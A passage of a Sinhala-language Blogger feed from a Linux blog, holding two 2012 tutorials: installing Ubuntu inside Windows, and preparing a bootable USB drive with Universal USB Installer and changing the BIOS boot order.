&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: red;&quot;&gt;වින්ඩෝස් තුලම උබුන්ටු ස්ථාපනය කිරීම.&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
වැඩේ පටන් ගන්න කලින් මේක කියන්න ඕනේ. මෙහෙම වින්ඩෝස් තුලම උබුන්ටු ස්ථාපනය කිරීමෙන් ඔබේ වින්ඩෝස් මෙහෙයුම් පද්ධතියට කිසිම හානියක් වත්, වෙනසක් වත් වෙන්නෙ නම් නෑ. මේක නිකන් වෙනත් සාමානය්ය මෘදුකාංගයක් ඉන්ස්ටෝල් කරනවා වගේ ලේසි වැඩක්. ඔබට උබුන්ටු එපා වුනොත් අනිත් මෘදුකාංග ඉවත් කරනවා වගේ බොහොම ලේසියෙන්ම Control Panel එකට ගිහින් ඉවත් කරලා දාන්න පුලුවන්.&lt;/div&gt;
&lt;div&gt;
මේ විදිහට උබුන්ටු ඉන්ස්ටෝල් කරද්දි boot order එක වෙනස් කරන්න ඕනෙත් නෑ.&lt;br /&gt;
&lt;br /&gt;
මුලින්ම ඔබ වින්ඩෝස් වලින් පරිගණකය ආරම්භ කර ඉන්පසු ඔබගේ උබුන්ටු CD එක හෝ USB Drive එක පරිගණකයට සම්බන්ධ කරන්න.&amp;nbsp;එවිට පහත තිරය ඔබට දිස්වේ. එයින් &quot;Install inside Windows&quot;යන්න ක්ලික් කරන්න.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMhjJPFK9QHyu1T63-Ud6UF1wwqNVFiFzrppq_EvB6-haB2ybmvYbgNqn529Jcc9D8RAfwOhk3EAX9AnFnrpBtkiLZ-yt4DHaMPHko3IvyoEKepNFzkNIM9Y5XGorkmYQUrzjcF6fGHJE/s1600/inside.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;245&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMhjJPFK9QHyu1T63-Ud6UF1wwqNVFiFzrppq_EvB6-haB2ybmvYbgNqn529Jcc9D8RAfwOhk3EAX9AnFnrpBtkiLZ-yt4DHaMPHko3IvyoEKepNFzkNIM9Y5XGorkmYQUrzjcF6fGHJE/s320/inside.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
එවිට ඇතම්විට ඔබගේ වින්ඩෝස් ආරක්ෂණ සේවාව මඟින් පහත පරිදි අවසර ඉල්ලා සිටී. &quot;Continue&quot; යන්න තෝරා ක්‍රියාවලිය ඉදිරියට කරගෙන යන්න.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDVElWV3-t0byVltRX2AMHC4Xtgu__NiOW5p1sI8cZ_xcBsYBrYMaSK4Xsev-Ad2kEK40skSjfDnZG6MXBRFTBvSgTisyl25AkK4CaBUXqB930Qjx0eJvoEhppNwu9v-3YLBqRzOIPw6I/s1600/U2.2.2_03_medium.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;175&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDVElWV3-t0byVltRX2AMHC4Xtgu__NiOW5p1sI8cZ_xcBsYBrYMaSK4Xsev-Ad2kEK40skSjfDnZG6MXBRFTBvSgTisyl25AkK4CaBUXqB930Qjx0eJvoEhppNwu9v-3YLBqRzOIPw6I/s320/U2.2.2_03_medium.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;a id=&quot;ubuntu-installer&quot;&gt;ඉන්පසු ඔබට පහත පරිදි Ubuntu Installer නම් වූ වින්ඩෝව ලැබේ.&lt;/a&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhowQa1Z929-KboXRH4_TUrWuWIUQqaaxDp6mYUL7TbwjkvMVbux_QNI-IBSW6dbcEScosNIIgqhZHExXrUtnjKrwcHLO2_-gaaZEc021laM_4n7ubZXuhHqFv6RyYL2jYp6B9tZHx860s/s1600/windows-installer-4edited.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;252&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhowQa1Z929-KboXRH4_TUrWuWIUQqaaxDp6mYUL7TbwjkvMVbux_QNI-IBSW6dbcEScosNIIgqhZHExXrUtnjKrwcHLO2_-gaaZEc021laM_4n7ubZXuhHqFv6RyYL2jYp6B9tZHx860s/s320/windows-installer-4edited.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;Installation drive:&lt;br /&gt;මෙය ඔබ උබුන්ටු ඉන්ස්ටෝල් කිරීමට බලාපොරත්තු වන පාටිෂන් එකයි.&lt;br /&gt;
මේ සඳහා ඔබට C: පාටිෂන් එක වගේම ඉඩ ඇති වෙනත් ඕනෑම පාටිෂන් එකක් භාවිතා කල හැකිය.&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;Installation size:&lt;br /&gt;මෙය උබුන්ටු සඳහා ඔබ වෙන් කරන ඉඩ ප්‍රමානයයි. මේ සඳහා අවම වශයෙන් 1GB වත් ලබා දෙන්න. නමුත් ඔබ උබුන්ටු හොදට පාවිච්චි කිරීමට බලාපොරත්තු වෙනවා නම් අඩුම 5GB වත් දෙන්න. ඔබේ දෘඩ තැටියේ ඉඩ තියෙනවා නම් මීටත් වැඩියෙන් උබුන්ටු සඳහා ඉඩ දුන්නා කියලා කිසිම පාඩුවක් වෙන්නේ නෑ.&lt;/li&gt;
&lt;li&gt;Desktop&amp;nbsp;environment:&lt;br /&gt;මෙය ඔබට දැන්මම නියමාකාරව වැටහෙන එකක් නැති වෙයි. උබුන්ටු පරිශීලක පරිසරයන් කිහිපයක්ම දැනට භාවිතා වෙනවා. Gnome, Unity, fvwm, KDE කියන්නේ ඒවගේ ඒවා තමා. මෙහිදී &quot;Ubuntu&quot; කියලා සඳහන් වෙන්නෙ නවතම උබුන්ටු සංස්කරණයේ භාවිතා වන Unity පරිසරයයි. ඒක කොච්චර ලස්සන, භාවිතයට පහසු එකක් ද කියලා භාවිතා කරද්දි තේරෙයි. මෙම සැකසුම වෙනස් කරන්න ඕනේ නෑ ඒ නිසා.&lt;/li&gt;
&lt;li&gt;Language:&lt;br /&gt;මෙය භාවිතා කරන භාෂාවයි. උබුන්ටු දැනට විවිධ භාෂා 55 කින් පමණ ලබාගත හැකිය. මෙතනදී සිංහල භාෂාව තෝරා ගත හැකි නමුත් භාවිතා කරද්දි වඩා පහසු English භාෂාව කියලයි මට හිතෙන්නේ. මෙය ඔබට කැමති විදිහට තීරණය කරන්න.&lt;/li&gt;
&lt;li&gt;Username:&lt;br /&gt;ඔබට කැමති නමක් ලබා දෙන්න. මෙය ඉදිරියට ඔබේ උබුන්ටු මෙහෙයුම් පද්ධතියේ භාවිතා කරන නම බවට පත් වන අතර පසුව ඔබට එය වෙනස් කල හැකිය.&lt;/li&gt;
&lt;li&gt;Password:&lt;br /&gt;ඉතා වැදගත්. මෙම රහස් වචනය ඉදිරියට ඔබ සිදු කරන බොහෝමයක් විධාන සඳහා අවශය්ය වන බැවින් පහසුවෙන් මතක තබා ගන්න පුළුවන් රහස් වචනයක් භාවිතා කරන්න. ඉන්පසු දෙවන කොටුවෙත් නැවත එම රහස් වචනයම සඳහන් කරන්න.&lt;/li&gt;
&lt;/ol&gt;
මේ සියල්ල සම්පූර්ණ කල පසු පහත ඇති &quot;Install&quot; බොත්තම ක්ලික් කරන්න. දැන් උබුන්ටු සාමනය්ය වින්ඩෝස් මෘදුකාංගයක් ලෙස ඔබේ වින්ඩෝස් පරිගණකයේ ස්ථාපනය වනවා ඇත.&lt;br /&gt;
&lt;br /&gt;
ස්ථාපනය සාර්ථකව නිමවූ පසු පහත රූපයේ පරිදි පරිගණකය reboot(restart) කරන්න.&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgke_FdjOP2hbi0LkcPNz2HEHYZCyut7ToCgG0QAGTgqod7Pakad_DZ85ITZ4M1TehZYXEWKLEmL1J1kx_hJ7HnG8V4zJOSRbyEyllPoZ3lTM27NGOi9CyZKtksYd5XuJbdMaKD9s4CDk8/s1600/complete.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;246&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgke_FdjOP2hbi0LkcPNz2HEHYZCyut7ToCgG0QAGTgqod7Pakad_DZ85ITZ4M1TehZYXEWKLEmL1J1kx_hJ7HnG8V4zJOSRbyEyllPoZ3lTM27NGOi9CyZKtksYd5XuJbdMaKD9s4CDk8/s320/complete.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Click Finish&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
ඉන්පසු පරිගණකය නැවත පණ ගැනිවීමේදි පහත රූපයේ පරිදි භාවිතා කලයුතු මෙහෙයුම් පද්ධතිය කුමක්දැයි ඔබෙන් විමසයි. ඔබේ යතුරු පුවරුවේ ඊතල යතුරු භාවිතා කර ඉන් උබුන්ටු යන්න තෝරා ඔබේ පරිගණකයෙන් උබුන්ටු වලින් වැඩ කරන්න පටන් ගන්න.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiv4UZOQvKwDEe0r0tmeqZBZeyWqfU1A9HL0RTCMf3elN7L_LhzJHrFiDDFU60OcgPI7k6mqxA9h7vvaVCea51e2gcc4TK6Bs8FhGrH3uXTq_HtP6HKvdHO4hKZIWmITrEBs3aFWhOvnmw/s1600/U2.2.2_07_medium.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;136&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiv4UZOQvKwDEe0r0tmeqZBZeyWqfU1A9HL0RTCMf3elN7L_LhzJHrFiDDFU60OcgPI7k6mqxA9h7vvaVCea51e2gcc4TK6Bs8FhGrH3uXTq_HtP6HKvdHO4hKZIWmITrEBs3aFWhOvnmw/s320/U2.2.2_07_medium.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
මින්පසු ඔබේ පරිගණකය පණ ගන්වන සෑම විට්කම ඔබට භාවිතා කරන මෙහෙයුම් පද්ධතිය තෝර ගැනීමට සිදු වෙන අතර ඔබට වින්ඩෝස් භාවිතා කිරීමට අවශ්යය නම් මෙම මෙනුව දිස්වූ විගස &quot;Enter&quot; යතුර තද කරන්න. නැතත් ඔබ තත්පර 30ක් ඇතුලත තෝරගැනීම සිදු නොකළහොත් ඔබේ පරිගණකය පෙර පරිදි ඉබෙම වින්ඩෝස් මගින් boot වීමට පටන් ගනි.&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;මෙලෙස වින්ඩෝස් තුලම උබුන්ටු ස්ථාපනය නොකොට වින්ඩෝස් මෙහෙයුම් පද්ධතිය තිබෙද්දිම උබුන්ටු ස්ථාපනය කරන ආකාරය ගැන මීලග ලිපියෙන් කථා කරමු.&lt;/span&gt;&lt;/div&gt;
</description><link>http://linux-sinhala.blogspot.com/2012/09/blog-post.html</link><author>noreply@blogger.com (Dulanja Subodhana)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJH2-ra7D0o0FyLG9FgebJbfQu3YUGhD-zCyc7_e5PMdmArAnZv17EoaowTcgO4LO0at-lX9AYb2DQiDIytfE0LNj5rpwVDQaDcFmHV9UI1TNJzZyLwDGg1xVvbQThJdPAMACld2VWoGs/s72-c/desktop-trial-1.png" height="72" width="72"/><thr:total>6</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-9165847937691595769.post-1664005265496500785</guid><pubDate>Fri, 31 Aug 2012 09:14:00 +0000</pubDate><atom:updated>2012-10-08T20:07:40.337+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Bootable</category><category domain="http://www.blogger.com/atom/ns#">Linux Distro</category><category domain="http://www.blogger.com/atom/ns#">Pen Drivers</category><category domain="http://www.blogger.com/atom/ns#">Sinhala</category><category domain="http://www.blogger.com/atom/ns#">Ubuntu</category><category domain="http://www.blogger.com/atom/ns#">USB</category><category domain="http://www.blogger.com/atom/ns#">windows</category><title>උබුන්ටු ස්ථාපනය කිරීමට Pen Drive එක සකසා ගන්නා ආකාරය.</title><description>&lt;br /&gt;
කලින් ලිපියේ කථා කරපු කුමන ආකාරයට හෝ ලබාගත්තු &lt;b&gt;උබුන්ටු&lt;/b&gt;&amp;nbsp;CD එකක් හෝ ISO image ෆයිල් එකක් ඔබ ලඟ මේ වෙන කොට තියෙනවා ඇති කියලා හිතාගෙන තමා මෙතනින් පටන් ගන්න යන්නේ.&lt;br /&gt;
ඔබ ගාව තියෙන්නේ පෙර ලිපියේ සඳහන් වූ ලින්ක් වලින් ලබා ගත් ISO image ෆයිල් නම් ඔබට &lt;b&gt;උබුන්ටු&lt;/b&gt; ස්ථාපනය කරන්න විදි 2ක් තියෙනවා. එකක් තමා ISO image එක කෙලින්ම CD එකක්ට පිටපත් කර සාමාන්ය්ය ක්‍රමයට &lt;b&gt;උබුන්ටු&lt;/b&gt; ස්ථාපනය කර ගැනීම (මේවට තමා සජීවි සංගත තැටි හෙවත් Live CD) හා Pen drive එකක්&amp;nbsp;භාවිතා කරමින් &lt;b&gt;උබුන්ටු&lt;/b&gt; ස්ථාපනය කිරීම.මේ සඳහා මුලින්ම දැන ගතු යුතු වන්නේ කොහොමද &amp;nbsp;Pen drive එක Bootable විදිහට සකසා ගන්නේ කියලා.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;u&gt;වින්ඩොස් භාවිතයෙන්&amp;nbsp;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: red;&quot;&gt;Pen Drive එක Bootable විදිහට සකසා ගැනීම.&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
මේ සඳහා ඔබ මුලින්ම &lt;b style=&quot;background-color: yellow;&quot;&gt;Universal USB Installer&lt;/b&gt; මෘදුකාංගය ස්ථාපනය කල යුතුයි. එම මෘදුකාංගය &lt;a href=&quot;http://www.pendrivelinux.com/downloads/Universal-USB-Installer/Universal-USB-Installer-1.9.0.9.exe&quot; target=&quot;_blank&quot;&gt;මෙතනින්&lt;/a&gt; ලබා ගන්න.&lt;br /&gt;
ඊට පස්සේ පිළිවෙලින් පහත තිර සටහන් වලට අනුව ඔබේ Bootable Pen Drive එක සකසා ගන්න.&lt;br /&gt;
මෙහිදී ඔබගේ Pen Drive එක, FAT 16, FAT 32 හෝ NTFS ආකාරයට Format කර තිබීම අනිවාර්ය වේ.&amp;nbsp;තවද මේ සඳහා Pen Drive&amp;nbsp;පමණක්ම නොව මතක පත් (Memory Cards like SD, MicroSD ...etc) වුවද භාවිතා කල හැකිය.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;b&gt;ඔබගේ උබුන්ටු සංස්කරණය මෙම මෙනුවෙන් තෝරගන්න.&amp;nbsp;&lt;/b&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_qSxgxBubgmP2vWD161gjPRS_yjNQa5jOViwboGea28fwMxO4dauw_-VUT7tLrGKd7YNCft7YNTGF3VRFNujO1xtJlaXFH_f39ph7Iozyy1brzMcZeu6vsQ-dLv-1l3WmhI0iO1csiX0/s1600/create-usb-windows-1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_qSxgxBubgmP2vWD161gjPRS_yjNQa5jOViwboGea28fwMxO4dauw_-VUT7tLrGKd7YNCft7YNTGF3VRFNujO1xtJlaXFH_f39ph7Iozyy1brzMcZeu6vsQ-dLv-1l3WmhI0iO1csiX0/s320/create-usb-windows-1.png&quot; width=&quot;315&quot; /&gt;&lt;/a&gt;&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;මෙහිදී මම තෝරාගෙන ඇත්තේ නවතම &lt;b&gt;උබුන්ටු&lt;/b&gt; සංස්කරණය වන 12.04 ය. ඔබට අවශ්ය පරිදි ඔබ භාගත කරගත් සංස්කරණය තෝරා ගත හැකිය.&lt;br /&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;ඔබ භාගත කරගත් iso එකේ ලිපිනය ලබා දෙන්න.&amp;nbsp;&lt;/b&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXC6X9KcIYvXj1JjrB8DR9pdYmG1mg2LH6Q8Gw4qrxGXLcpS-tz_gKpicSMM44bEH27o5f7e62otaxKXYJvtGuMSuK6shlyRHeff94pHYXXgh86tTuqo47rW4Twa2EtoRmgorsK6uyRvg/s1600/create-usb-windows-2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;254&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXC6X9KcIYvXj1JjrB8DR9pdYmG1mg2LH6Q8Gw4qrxGXLcpS-tz_gKpicSMM44bEH27o5f7e62otaxKXYJvtGuMSuK6shlyRHeff94pHYXXgh86tTuqo47rW4Twa2EtoRmgorsK6uyRvg/s320/create-usb-windows-2.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;span style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;text-align: left;&quot;&gt;&amp;nbsp;මෙම Browse යන්න ක්ලික් කිරීමෙන් එය ඔබට පහසුවෙන් සිදුකල හැකිය.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
ඊලඟට මතුවන වින්ඩෝවෙන් ඔබගේ iso ෆයිල් එක තෝරා දෙන්න.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSuf0CZNkJ4JmF1cjuM7gFqbs6nIudqjmBDkgdh7L9pqs4Fxn_VqZEWgQ404nSQtLOTLKITzkYmEGLQtMPtemlwpSaJnokG61iYygi6vbIDBNBercsTqAj5B8RoOJsqxosX7_hlRqrGIw/s1600/create-usb-windows-3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSuf0CZNkJ4JmF1cjuM7gFqbs6nIudqjmBDkgdh7L9pqs4Fxn_VqZEWgQ404nSQtLOTLKITzkYmEGLQtMPtemlwpSaJnokG61iYygi6vbIDBNBercsTqAj5B8RoOJsqxosX7_hlRqrGIw/s320/create-usb-windows-3.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Pen Drive&amp;nbsp;එක&amp;nbsp;bootable එකක් ලෙසට නිර්මාණය කරගන්න.&lt;/b&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;මීලගට ඔබගේ Pen Drive එක තෝරා Create යන්න ක්ලික් කරන්න. ස්වල්ප වේලාවකින් ඔබගේ Pen Drive එක &amp;nbsp;Bootable ආකාරයට සකස් වෙනවා ඇති.&amp;nbsp;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsTbe0Hkn_YN9d00Fu5NB1_HgLav48ibZS950jF-ABkr27OgrJakdyUscOV5PuRgxHnR_hzdKsXtJzsg9-zkcFsDxJcUbEHIjgbzq7jyOhcghIqERdnlBnQjA-UV3ufnA6GgmeJ3v4q5E/s1600/create-usb-windows-4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;256&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsTbe0Hkn_YN9d00Fu5NB1_HgLav48ibZS950jF-ABkr27OgrJakdyUscOV5PuRgxHnR_hzdKsXtJzsg9-zkcFsDxJcUbEHIjgbzq7jyOhcghIqERdnlBnQjA-UV3ufnA6GgmeJ3v4q5E/s320/create-usb-windows-4.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
තවද මෙම මෘදුකාංගය භාවිතයෙන් &lt;b&gt;උබුන්ටු&lt;/b&gt; පමණක් නොව වෙනත් ඕනෑම ලිනක්ස් ඩිස්ට්‍රෝවක් Bootable Pen Drive ලෙසට සකසා ගත හැකිය. වැඩි විස්තර සඳහා එම අඩවියට &lt;a href=&quot;http://www.pendrivelinux.com/&quot; target=&quot;_blank&quot;&gt;මෙතනින්&lt;/a&gt; පිවිසෙන්න.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: red;&quot;&gt;ඔබේ පරිගණකයේ Boot order&amp;nbsp;එක වෙනස් කරගන්නා ආකාරය.&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
මෙසේ USB Drive එකකින් හෝ CD එකකින් පරිගණකය Boot කිරීමට නම් මුලින්ම පරිගණකයේ Boot Order එක වෙනස් කල යුතුය. ඒ සඳහා ඔබේ පරිගණකයේ BIOS වලට ඔබ පිවිසිය යුතුය. බොහෝ පරිගණක ආරම්භ වන විටම F12 බොත්තම හෝ &amp;nbsp;Delete බොත්තම එබීමෙන් ඔබට BIOS වලට පිවිසිය හැකිය.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
ඉන්පසු පහත රූප වල පරිදි ඔබගේ Boot order එක සකසන මෙනුවට ගොස් පරිගණකය මුලින්ම boot විය යුත්තේ CD එකකින්ද, USB Drive එකකින්ද යන්න තෝරා වෙනස් කම Save කරලා BIOS වලින් ඉවත් වෙන්න. ඉන්පසු ඔබ තේරු පරිදි ඔබේ පරිගණකය CD එක මගින් හෝ USB Drive එක මගින් boot වීමට පටන් ගනී.&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right; margin-left: 1em; text-align: right;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGE05PlgJY4eglO3ddvtEajaCakFRcDj4ERQXU-WaZVPiJQ2ZBHQXQMlA97sT5S17RhI-FwoZvdgYJGFyAx2R0AkleCJc45H6ZypbakS9Yj66rmf76vbgZE9aC2Cnop_Pa5AOcHO6VAuw/s1600/biosbootmenu-remdevices.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;150&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGE05PlgJY4eglO3ddvtEajaCakFRcDj4ERQXU-WaZVPiJQ2ZBHQXQMlA97sT5S17RhI-FwoZvdgYJGFyAx2R0AkleCJc45H6ZypbakS9Yj66rmf76vbgZE9aC2Cnop_Pa5AOcHO6VAuw/s200/biosbootmenu-remdevices.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Phoenix BIOS&amp;nbsp;වල boot order එක තිබෙන මෙනුව.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFPWl6ZCM-A92P_K87_xNdscCphDSFc3YWBfXRoCUN0lyN2JbHcVd2jDbaWj2ZArzn7T5u4Y6CIZEyDWwraqR6XJMuigZ3r89p-P_p7a-E-g2_A7y7N_bB91986SvmlAzHQs7kzvzTgAE/s1600/draft_lens19020961module156060724photo_1325166618Changing-BIOS-Boot-Order.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;129&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFPWl6ZCM-A92P_K87_xNdscCphDSFc3YWBfXRoCUN0lyN2JbHcVd2jDbaWj2ZArzn7T5u4Y6CIZEyDWwraqR6XJMuigZ3r89p-P_p7a-E-g2_A7y7N_bB91986SvmlAzHQs7kzvzTgAE/s200/draft_lens19020961module156060724photo_1325166618Changing-BIOS-Boot-Order.gif&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;font-size: 13px;&quot;&gt;AMI BIOS&amp;nbsp;වල boot order එක තිබෙන මෙනුව.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
BIOS සකසන එකනම් එච්චර අමාරු වැඩක් නෙවේ. ඒ වුනත් මොකක් හරි ප්‍රශ්නයක් ආවොත් අපිට කියන්න. අපි උදව් කරන්නම්.&lt;/div&gt;
</description><link>http://linux-sinhala.blogspot.com/2012/08/pen-drive.html</link><author>noreply@blogger.com (Dulanja Subodhana)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_qSxgxBubgmP2vWD161gjPRS_yjNQa5jOViwboGea28fwMxO4dauw_-VUT7tLrGKd7YNCft7YNTGF3VRFNujO1xtJlaXFH_f39ph7Iozyy1brzMcZeu6vsQ-dLv-1l3WmhI0iO1csiX0/s72-c/create-usb-windows-1.png" height="72" width="72"/><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-9165847937691595769.post-2363754800493479685</guid><pubDate>Sat, 25 Aug 2012 17:22:00 